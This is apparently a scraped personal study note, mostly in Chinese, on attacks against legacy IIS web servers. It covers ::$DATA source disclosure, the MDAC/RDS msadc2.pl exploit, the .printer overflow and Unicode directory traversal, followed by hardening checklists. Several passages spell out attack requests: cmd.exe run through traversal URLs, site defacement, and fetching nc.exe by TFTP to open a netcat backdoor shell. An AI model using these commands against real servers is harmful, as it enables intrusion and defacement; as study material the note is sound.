web server defacement<\/p>\n\n\n\n
\u4ee5\u4e0b\u653b\u64ca\u90fd\u6709\u53ef\u80fddefacement:
man-in-the-middle attack:\u53ef\u80fd\u5728\u9060\u7aef\u767b\u5165\u6642\u5e33\u865f\u5bc6\u78bc\u5c31\u88ab\u5077\u4e86
password brute forcing of administrator account
dns attack through cache poisoning:dns recall\u5df1\u7d93\u88ab\u4fee\u6539,\u5f71\u97ff\u5c64\u9762\u5927
dns attack through social engineering
ftp server intrusion
mail server intrusion
web application bugs
web shares misconfigurations
wrongly assigned permissions
rerouting after firewall attack
recouting after router attack
sql injection
ssh intrusion
telnet intrusion
url poisoning
web server extension intrusion
remote service intrusion<\/p>\n\n\n\n
…………………………………………………………………………….<\/p>\n\n\n\n
attacks against iis<\/p>\n\n\n\n
some of the popular iis vulnerabiliies are as follows:<\/strong> ps:On a default installation of Microsoft IIS web server, “system” privilege does the web server software execute<\/p>\n\n\n\n ……………<\/p>\n\n\n\n ::$DATA iis\u3000vulnerability<\/strong> ……………<\/p>\n\n\n\n msadc<\/strong> ps: ……………<\/p>\n\n\n\n ISAPI Extension buffer overflow\u505a\u6cd5\u5927\u81f4\u5982\u4e0b<\/strong> ……………<\/p>\n\n\n\n web server vulnerabilities<\/p>\n\n\n\n unicode unicode \u5e38\u898b\u653b\u64ca\u624b\u6cd5\u6709:<\/strong> directory traversal attack<\/strong> ps: Visual Security<\/strong> Bypassing Security Logic<\/strong> Filter Evasion<\/strong> …<\/p>\n\n\n\n msw3prt ipp vulnerability<\/strong> rpc dcom vulnerability<\/strong> ps: …<\/p>\n\n\n\n ps: <\/p>\n\n\n\n URLEncoded<\/p>\n\n\n\n ps: ….<\/p>\n\n\n\n tool<\/p>\n\n\n\n cacheright:\u589e\u52a0\u901f\u5ea6 server mask:iis security tool,\u9632\u8b77\u5de5\u5177 yersinia patch management<\/p>\n\n\n\n tool ………..<\/p>\n\n\n\n vulnerability scanners<\/p>\n\n\n\n ps: \u5e38\u898b\u7684vulnerability scanner\u6709 other tool countermeasures:<\/strong> file system traversal countermeasures<\/strong> increasing web server security<\/strong> web server defacement \u4ee5\u4e0b\u653b\u64ca\u90fd\u6709\u53ef\u80fd …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[39],"tags":[],"class_list":["post-395","post","type-post","status-publish","format-standard","hentry","category-concept"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/395","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=395"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/395\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
::$DATA iis\u3000vulnerability
showcode.asp
piggybacking privileged command execution on back-end database queries(mdac\/rds)
buffer overflow vulnerabilities:
\u3000IPP(internet printing protocol) buffer overflow
\u3000indexing services ISAPI extension buffer overflow
privilege command execution vulnerability
webDAV\/rpc exploits<\/p>\n\n\n\n
ASP Alternate Data Streams\uff08::$DATA\uff09
1998\u5e74\u4e2d\u671f\u516c\u4f48
$DATA\u662f\u5728NTFS\u6a94\u6848\u7cfb\u7d71\u4e2d\u5b58\u5132\u5728\u6a94\u6848\u88cf\u9762\u7684main data stream\u5c6c\u6027\uff0c\u901a\u904e\u5efa\u7acb\u4e00\u500b\u7279\u6b8a\u683c\u5f0f\u7684URL\uff0c\u5c31\u53ef\u80fd\u4f7f\u7528IIS\u5728\u6d41\u89bd\u5668\u4e2d\u8a2a\u554f\u9019\u500bdata stream\uff08\u8cc7\u6599\u6d41\u7a0b\uff09\uff0c\u9019\u6a23\u505a\u4e5f\u5c31\u986f\u793a\u4e86\u6a94\u6848\u4ee3\u78bc\u4e2d\u9019\u4e9bdata stream\uff08\u8cc7\u6599\u6d41\u7a0b\uff09\u548c\u4efb\u4f55\u6a94\u6848\u6240\u5305\u542b\u7684\u8cc7\u6599\u4ee3\u78bc\u3002
\u9019\u500b\u6f0f\u6d1e\u9700\u9650\u5236\u5982\u4e0b:
1\u662f\u8981\u986f\u793a\u7684\u9019\u500b\u6a94\u6848\u9700\u8981\u4fdd\u5b58\u5728NTFS\u6a94\u6848\u5206\u5340
2\u662f\u6a94\u6848\u9700\u8981\u88abACL\u8a2d\u5b9a\u70ba\u5168\u5c40\u53ef\u8b80
3\u800c\u4e14\u672a\u6388\u6b0a\u7528\u6236\u9700\u8981\u77e5\u9053\u8981\u67e5\u770b\u6a94\u6848\u540d\u7684\u540d\u5b57
WIN NT\u4e2d\u7684IIS1.0, 2.0, 3.0\u548c4.0\u90fd\u5b58\u5728\u6b64\u554f\u984c\u3002
\u8981\u67e5\u770b\u4e00\u4e9b.asp\u6a94\u6848\u7684\u5167\u5bb9\uff0c\u4f60\u53ef\u4ee5\u8acb\u6c42\u5982\u4e0b\u7684URL \u5373\u53ef\u5f97\u5230\u4e86\u6e90\u4ee3\u78bc
http:\/\/victim\/default.asp::$DATA<\/p>\n\n\n\n
IIS\u7684MDAC\u7d44\u4ef6\u5b58\u5728\u4e00\u500b\u6f0f\u6d1e\u53ef\u4ee5\u5c0e\u81f4\u653b\u64ca\u8005\u9060\u7a0b\u57f7\u884c\u4f60\u7cfb\u7d71\u7684\u547d\u4ee4\u3002
\u4e3b\u8981\u6838\u5fc3\u554f\u984c\u662f\u5b58\u5728\u65bcRDS Datafactory\uff0c\u9ed8\u8a8d\u60c5\u6cc1\u4e0b\uff0c\u5b83\u5141\u8a31\u9060\u7a0b\u547d\u4ee4\u767c\u9001\u5230IIS\u670d\u52d9\u5668\u4e2d\uff0c\u9019\u547d\u4ee4\u6703\u4ee5\u8a2d\u5099\u7528\u6236\u7684\u8eab\u4efd\u904b\u884c\uff0c\u5176\u4e00\u822c\u9ed8\u8a8d\u60c5\u6cc1\u4e0b\u662fSYSTEM\u7528\u6236\u3002
\u5229\u7528\u7a0b\u5e8f\u70bamsadc2.pl
\u505a\u6cd5\u5927\u81f4\u5982\u4e0b
perl msadc2.pl -h http:\/\/www.targe.com
— RDS smack v2 – rain forest puppy \/ ADM \/ wiretrip —
Type the command line you want to run (cmd \/c assumed):
cmd \/c
\u76f4\u63a5\u9375\u5165\u547d\u4ee4\u884c\uff0c\u5c31\u53ef\u4ee5\u4ee5system\u6b0a\u9650\u57f7\u884c\u547d\u4ee4,\u4f8b\u5982
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm<\/p>\n\n\n\n
perl msadc2.pl -h
— RDS smack v2 – rain forest puppy \/ ADM \/ wiretrip —
Usage: msadc.pl -h < host > { -d < delay > -X -v }
-h < host > = host you want to scan (ip or domain)
-d < seconds > = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u < hostsharefile > = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s < number > = run only step < number >
Or a -R will resume a (v2) command session
ps:
msadc.pl. rfp’s perl script is a perfect example of exploit chaining<\/p>\n\n\n\n
1\u958b\u555f\u5c0d\u65b9136port
.\/Xiisprint < ip > nc136.bin
2telnet port 136\u5373\u53ef\u9032\u5165c:winntsystem32 >
telnet < ip > 136<\/p>\n\n\n\n
\u65e9\u671fvulnerabilities
\u900f\u904e\u7de8\u78bc\u5e6b\u52a9
\u56e0\u6c92\u6709\u505a\u6aa2\u67e5\u800c\u88ab\u653b\u6483
\u53ef\u4e0d\u65b7\u8b8a\u5f62 “\/”=2f=c0af=e080af=f080af=f8808080af=\u5176\u4ed6\u7121\u9650\u9577…
\u904e\u9577unicode\u4e0d\u6703\u51fa\u932f,\u4e5f\u53ef\u4ee5\u88ab\u89e3\u78bc\u51fa\u4f86<\/p>\n\n\n\n
\u76ee\u9304\u7a7f\u8d8a(Directory Traversal)
\u8996\u89ba\u6b3a\u9a19(Visual Security)
\u7e5e\u904e\u5b89\u5168\u6a5f\u5236(Bypassing Security Logic)
\u898f\u907f\u904e\u6ffe\u6a5f\u5236 (Filter Evasion)<\/p>\n\n\n\n
\u7531\u65bc\u65e9\u671f\u7684IIS\u7121\u6cd5\u8655\u7406\u975e\u6a19\u6e96\u7684HTTP\u8acb\u6c42\uff0c\u7576IIS\u63a5\u6536\u5230\u5305\u542bUnicode\u7de8\u78bc\u4e4b\u8def\u5f91\u540d\u7a31\u6642\uff0c\u5c07\u6703\u5c0d\u8a72\u8def\u5f91\u9032\u884c\u89e3\u78bc\uff0c\u5982\u679c\u653b\u64ca\u8005\u4f7f\u7528\u8a2d\u8a08\u904e\u7684\u7de8\u78bc\uff0c \u5c07\u5c0e\u81f4IIS\u932f\u8aa4\u6216\u958b\u555f\u4f3a\u670d\u5668\u6839\u76ee\u9304\u4ee5\u5916\u7684\u76ee\u9304\uff0c\u9020\u6210\u6d29\u6f0f\u975e\u7db2\u9801\u4f3a\u670d\u5668\u5141\u8a31\u63d0\u4f9b\u7684\u6a94\u6848\u6216\u61c9\u7528\u7a0b\u5f0f\u539f\u59cb\u78bc\uff0c\u751a\u81f3\u5728\u4f3a\u670d\u5668\u4e0a\u57f7\u884c\u4efb\u610f\u6307\u4ee4\u3002
\u505a\u6cd5\u5927\u81f4\u5982\u4e0b
GET\/scripts\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir=c: http\/1.0
\u4f7f\u7528malformed url\u5b58\u53d6file\u6216folders<\/strong>
\u505a\u6cd5\u5927\u81f4\u5982\u4e0b
\u7528 cmd.exe\u4f86\u57f7\u884cdir c:
http:\/\/< web >\/scripts\/..%c1%1c..\/winnt\/system32\/cmd.exe?\/c+dir+c:
\u8907\u88fdcmd.exe\u5230 cmd2.exe
http:\/\/< web >\/scripts\/..%c1%1c..\/winnt\/system32\/cmd.exe?\/c+copy+c:winntsystem32cmd.exe %20 .cmd2.exe
allow the attacker to escalate privileges on the machine<\/strong>
\u505a\u6cd5\u5927\u81f4
\u5141\u8a31\u65b0\u589emalicious user,\u6539\u8b8a\u6216\u522a\u9664data,\u57f7\u884ccode<\/strong>
\u505a\u6cd5\u5927\u81f4\u5982\u4e0b
\u5c07Defaced By ray \u5beb\u5165default.asp
http:\/\/< web >\/scripts\/cmd.exe?\/c+echo%20Defaced%20By%20ray > c:inetpubwwwrootdefault.asp
\u53ef\u4f7f\u7528netcat\u505abackdoor<\/strong>
\u505a\u6cd5\u5927\u81f4\u5982\u4e0b
1 http:\/\/< web >\/scripts\/…%255c..\/winnt\/system32\/cmd.exe?\/c+dir+c:
2 tftp -I < web > GET nc.exe
3 nc -L -p < port > -d -e cmd.exe
\u6216
1 http:\/\/< web >\/scripts\/…%255c..\/winnt\/system32\/cmd.exe?\/c+dir+c:
2 http:\/\/< exploit url >\/c+TFTP+-i+< web >+GET+nc.exe
3 http:\/\/< exploit url >\/c+nc+-L+-p+< port >+-d+-e+cmd.exe<\/p>\n\n\n\n
iisxploit.exe: \u81ea\u52d5\u5316\u653b\u64catool<\/p>\n\n\n\n
\u53c8\u7a31\u70ba\u540c\u5f62\u7570\u7fa9\u5b57\u6b3a\u9a19(Homograph Spoofing Attack)
\u5728Unicode\u4e2d\uff0c\u6709\u8a31\u591a\u540c\u5f62\u7570\u7fa9\u5b57\uff0c\u5728\u8a31\u591a\u5b57\u578b\u4e2d\u90fd\u770b\u4e0d\u51fa\u6709\u751a\u9ebc\u4e0d\u540c\u3002\u65bc\u662f\u5165\u4fb5\u8005\u4fbf\u53ef\u7528\u6b64\u4f86\u6b3a\u9a19\u7528\u6236
ex:\u65af\u62c9\u592b\u5b57\u6bcd(Cyrillic)\u7684\u5c0f\u5beb\u0430(U+0430)\u548c\u62c9\u4e01\u5b57\u6bcd(Latin\uff0c\u5373\u82f1\u6587\u4f7f\u7528\u4e4b\u5b57\u6bcd)\u7684a(U+0061)<\/p>\n\n\n\n
\u65e9\u671fIPS\u7121\u6cd5\u6b63\u78ba\u8655\u7406\u7279\u5225\u7684Unicode\u7de8\u78bc\u3001\u5927\u5c0f\u5beb\u8f49\u63db…\u7b49\uff0c\u5c07\u4f7f\u653b\u64ca\u8005\u53ef\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u7e5e\u904e IPS\u7522\u54c1\u7684\u653b\u64ca\u6aa2\u6e2c\u3002
\u53e6 HTTP\u5167\u5bb9\u6383\u7784\u7cfb\u7d71(HTTP Content Scanning System)\u53ef\u4ee5\u89e3\u78bc\u5404\u7a2e\u985e\u578b\u7684HTTP\u7de8\u78bc\u8acb\u6c42\u4ee5\u9032\u884c\u653b\u64ca\u7279\u5fb5\u5206\u6790\uff0c\u4f46\u6709\u4e9b\u5167\u5bb9\u6383\u7784\u7cfb\u7d71\u7121\u6cd5\u6b63\u78ba\u5730\u6383\u7784\u5168\u5f62\u5b57(full-width)\u6216\u534a\u5f62\u5b57 (half-width)\u7684Unicode\u7de8\u78bc\u901a\u8a0a\u9032\u884c\u5206\u6790\u3001\u5927\u5c0f\u5beb\u8f49\u63db\u548c\u5b57\u7b26\u5339\u914d\u3002\u85c9\u7531\u50b3\u9001\u7d93\u8a2d\u8a08\u7684HTTP\u6d41\u91cf\u5230\u4e00\u500b\u6709\u5f31\u9ede\u7684\u6383\u7784\u7cfb\u7d71\uff0c\u653b\u64ca\u8005\u5f88\u53ef\u80fd \u7e5e\u904e\u5167\u5bb9\u6383\u7784\u7cfb\u7d71\uff0c\u9032\u884c\u5176\u4ed6\u84c4\u610f\u7834\u58de\u3002<\/p>\n\n\n\n
\u700f\u89bd\u5668\u5728\u8fa8\u5225\u7db2\u9801\u662f\u4f7f\u7528\u4f55\u7a2e\u7de8\u78bc\u6642\uff0c\u53ef\u85c9\u7531\u4f4d\u5143\u7d44\u9806\u5e8f\u8a18\u865f (Byte Order Mark, BOM)\u4f86\u5224\u65b7\u3002\u4f46\u6709\u4e9b\u4f3a\u670d\u5668\u6216\u700f\u89bd\u5668\u56e0\u7121\u6cd5\u8655\u7406BOM\u800c\u5efa\u7acb\u4e86\u904e\u6ffe\u6a5f\u5236\uff0c\u56e0\u6b64\u60e1\u610f\u7684\u7db2\u9801\u53ef\u80fd\u7528\u8a2d\u8a08\u904e\u7684\u7a0b\u5f0f\u6a19\u7c64\uff0c\u4f7f\u5f97\u65e9\u671f\u7248\u672c\u4e4bFirefox\u5728\u7565\u904e BOM\u7684\u8655\u7406\u5f8c\u53ef\u80fd\u906d\u53d7XSS\u653b\u64ca<\/p>\n\n\n\n
1\uff0e\u6f0f\u6d1e\u5371\u5bb3\u53ca\u6210\u56e0
\u6b64\u6f0f\u6d1e\u53ea\u5b58\u5728\u65bc\u57f7\u884cIIS 5.0\u7684Windows 2000\u4f3a\u670d\u5668\u4e2d\u3002\u7531\u65bcIIS 5\u7684\u5217\u5370ISAPI\u64f4\u5c55\u63a5\u982d\u5efa\u7acb\u4e86.printer\u526f\u6a94\u540d\u5230Msw3prt.dll\u7684\u6620\u5c04\u95dc\u4fc2\uff08\u9810\u8a2d\u60c5\u6cc1\u4e0b\u8a72\u6620\u5c04\u4e5f\u5b58\u5728\uff09\uff0c\u7576\u9060\u7aef\u7528\u6236\u63d0\u4ea4 \u5c0d.printer\u7684URL\u8acb\u6c42\u6642\uff0cIIS 5.0\u6703\u4f7f\u7528Msw3prt.dll\u89e3\u91cb\u8a72\u8acb\u6c42\uff0c\u52a0\u4e4bMsw3prt.dll\u7f3a\u4e4f\u8db3\u5920\u7684\u7de9\u885d\u5340\u908a\u754c\u6aa2\u67e5\uff0c\u9060\u7aef\u7528\u6236\u53ef\u4ee5\u63d0\u4ea4\u4e00\u500b\u7cbe\u5fc3\u69cb\u9020\u7684\u91dd \u5c0d.printer\u7684URL\u8acb\u6c42\uff0c\u5176\u300cHost:\u300d\u57df\u5305\u542b\u5927\u7d04420B\u7684\u8cc7\u6599\uff0c\u6b64\u6642\u5728Msw3prt.dll\u4e2d\u767c\u751f\u5178\u578b\u7684\u7de9\u885d\u5340\u6ea2\u51fa\uff0c\u6f5b\u5728\u5730\u5141\u8a31\u57f7\u884c\u4efb\u610f \u7a0b\u5f0f\u78bc\u3002\u5728\u6ea2\u51fa\u767c\u751f\u5f8c\uff0cWeb\u670d\u52d9\u6703\u505c\u6b62\u7528\u6236\u56de\u61c9\uff0c\u800cWindows 2000\u5c07\u63a5\u8457\u81ea\u52d5\u91cd\u555f\u5b83\uff0c\u9032\u800c\u4f7f\u5f97\u7cfb\u7d71\u7ba1\u7406\u54e1\u5f88\u96e3\u6aa2\u67e5\u5230\u5df2\u767c\u751f\u7684\u653b\u64ca\u3002
2\uff0e\u6f0f\u6d1e\u6aa2\u6e2c
\u91dd\u5c0d.Printer\u6f0f\u6d1e\u7684\u6aa2\u6e2c\u8edf\u9ad4\u5f88\u591a\uff0c\u5982easyscan,x-scaner,SSS,…\u7b49\u3002
3\uff0e\u89e3\u6c7a\u65b9\u6cd5
\u53ef\u901a\u904e\u5b89\u88ddMicrosoft\u6f0f\u6d1e\u4fee\u6b63\u6a94<\/p>\n\n\n\n
COM\u5f31\u9ede\u53ef\u5f9e\u4ee5\u4e0bport\u627e\u5230
tcp and udp 135
tcp port 139 and 445
tcp port 593(rpc-over-http)
any iis http\/https port:if COM internet services are enabled<\/p>\n\n\n\n
dcom rpc exploit:\u653b\u64ca\u5de5\u5177<\/p>\n\n\n\n
cmd.asp:asp trojan<\/p>\n\n\n\nspace %20\n! %21\n\" %22\n# %23\n$ %24\n% %25\n& %26\n' %27\n( %28\n) %29\n, %2C\n: %3A\n; %3B\n< %3C\n= %3D\n> %3E\n? %3F\n[ %5B\n\uff3c %5C\n] %5D\n^ %5E\n` %60\n{ %7B\n| %7C\n} %7D\n~ %7E\n%7F\n\u20ac %80\n\ufffd %81\n\u201a %82<\/code><\/pre>\n\n\n\n
…………………………………………………………………………….<\/p>\n\n\n\n
log
\u5efa\u8b70:
\u6539\u8b8a\u9810\u8a2d\u5b58\u653e\u4f4d\u7f6e
\u5b9a\u671f\u5099\u4efd<\/p>\n\n\n\n
log analyzer:network tool
cleaniislog:hacking tool
customerror:\u5ba2\u88fd\u5316log<\/p>\n\n\n\n
httpzip:\u63d0\u5347\u6548\u80fd
zipenable:\u63d0\u5347\u6548\u80fd
w3compiler<\/p>\n\n\n\n
servermask ip1000
linkdeny:\u963b\u9694tool
serverdefender AI:WAF<\/p>\n\n\n\n
metasploit framework:\u5f31\u9ede\u653b\u64ca\u5de5\u5177
karma:\u53ef\u505afake ap,\u8b93client\u9023\u5230\u6b64fake ap
karmetasploit:karma+metasploit3,\u6703\u81ea\u52d5\u5c0d\u9023\u4f86\u6b64fake ap\u7684client\u505a\u5f31\u9ede\u6383\u63cf,\u4e26\u81ea\u52d5\u653b\u64ca
canvas:\u653b\u64ca\u5de5\u5177,\u9700\u6536\u8cbb
core impact:\u653b\u64ca\u5de5\u5177,\u9700\u6536\u8cbb
mpack:web exploitation,\u7528php\u958b\u767c
neosploit:\u653b\u64ca\u5de5\u5177
…………<\/p>\n\n\n\n
updateexpert
qfecheck:\u770bhotfix
hfnetchk:
cacls.exe: \u5167\u5efacomamd\u6307\u4ee4,\u770b\u8cc7\u6599\u593e\u6b0a\u9650<\/p>\n\n\n\n
online vulnerability search engine
NVD(national vulnerability database)<\/p>\n\n\n\n
online:www.securityseers.com,… \u7b49
opensource:snort,nessus,nmap,…\u7b49
linux proprietary:sane,…\u7b49<\/p>\n\n\n\n
whisker:\u8f03\u967d\u6625
n-stealth http vulnerability scanner:\u9700\u4ed8\u8cbb
webinspect:hacking tool
shadow security scanner
secureiis:\u4fdd\u8b77server,\u91dd\u5c0d\u5df1\u77e5\u548c\u672a\u77e5\u653b\u64ca\u505a\u4fdd\u8b77
serverscheck momnitoring:\u91dd\u5c0d\u983b\u5bec\u6216\u4f86\u56de\u5c01\u5305\u91cf\u8a18\u9304,\u4ee5\u53ca\u56de\u5831\u4e00\u4e9b\u653b\u64ca
gfi network server monitor:
servers alive:\u5224\u65b7server\u662f\u5426\u9084\u6d3b\u8457
webserver stress tool:\u58d3\u529b\u6e2c\u8a66tool
securnia psi:\u6aa2\u67e5\u6bcf\u500b\u7a0b\u5f0f\u662f\u5426\u66f4\u65b0,\u5efa\u8b70\u5b89\u88dd<\/p>\n\n\n\n
…………………………………………………………………………….<\/p>\n\n\n\n
iislockdown: \u6709\u5305\u542burlscan
urlscan
mbsa utility:microsoft baseline security analyzer<\/p>\n\n\n\n
\u975eadmin\u4e0d\u53ef\u57f7\u884ccmd
\u79fb\u9664sample files
\u5e38\u770baudit log
\u505apatch,hotfix<\/p>\n\n\n\n
\u4f7f\u7528firewall
\u8981\u6539account
iis default websites\u8981\u95dc\u6389
removal of unused application mappings
\u95dc\u9589directory browsing
legal notices
service packs,hotfixes,and templates
checking for malicious input in forms and query strings
\u95dc\u9589remote administrator<\/p>\n\n\n\n
web server security checklist:<\/strong>
patches and updates
auditing and logging
services:disable non-required services
script mappings
protocols:disable webdav,netbios,smb(block port137,138,139,445)
isapi filters:remove unused isapi filters
accounts:\u4e0d\u9700\u8981\u7684\u5c31\u95dc\u6389
files and directories
iis metabase
server certificates
diable shares:\u7528registry\u95dc\u6389,\u4e0b\u6b21\u91cd\u958b\u5c31\u4e0d\u6703\u555f\u7528
machine.config
ports
code access security<\/p>\n\n\n\n
ps:
Cloaking
\u5b83\u6307\u7684\u662f\u4e00\u7a2e\u6280\u8853\uff0c\u5411\u641c\u7d22\u5f15\u64ce\u8718\u86db\u548c\u5ba2\u6236\u63d0\u4f9b\u4e0d\u540c\u7684\u7db2\u9801\uff0c\u9019\u7a2e\u6280\u8853\u88abSPAMMERS\u505a\u7232KEYWORD STUFFING\u6feb\u7528\u4e86\uff0cCLOAKING\u9055\u53cd\u4e86\u5927\u591a\u6578\u641c\u7d22\u5f15\u64ce\u7684\u670d\u52d9\u689d\u6b3e\uff0c\u5982\u679c\u88ab\u767c\u73fe\u7684\u8a71\u7db2\u7ad9\u5c07\u6703\u88ab\u5b83\u5011\u53d6\u7de0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"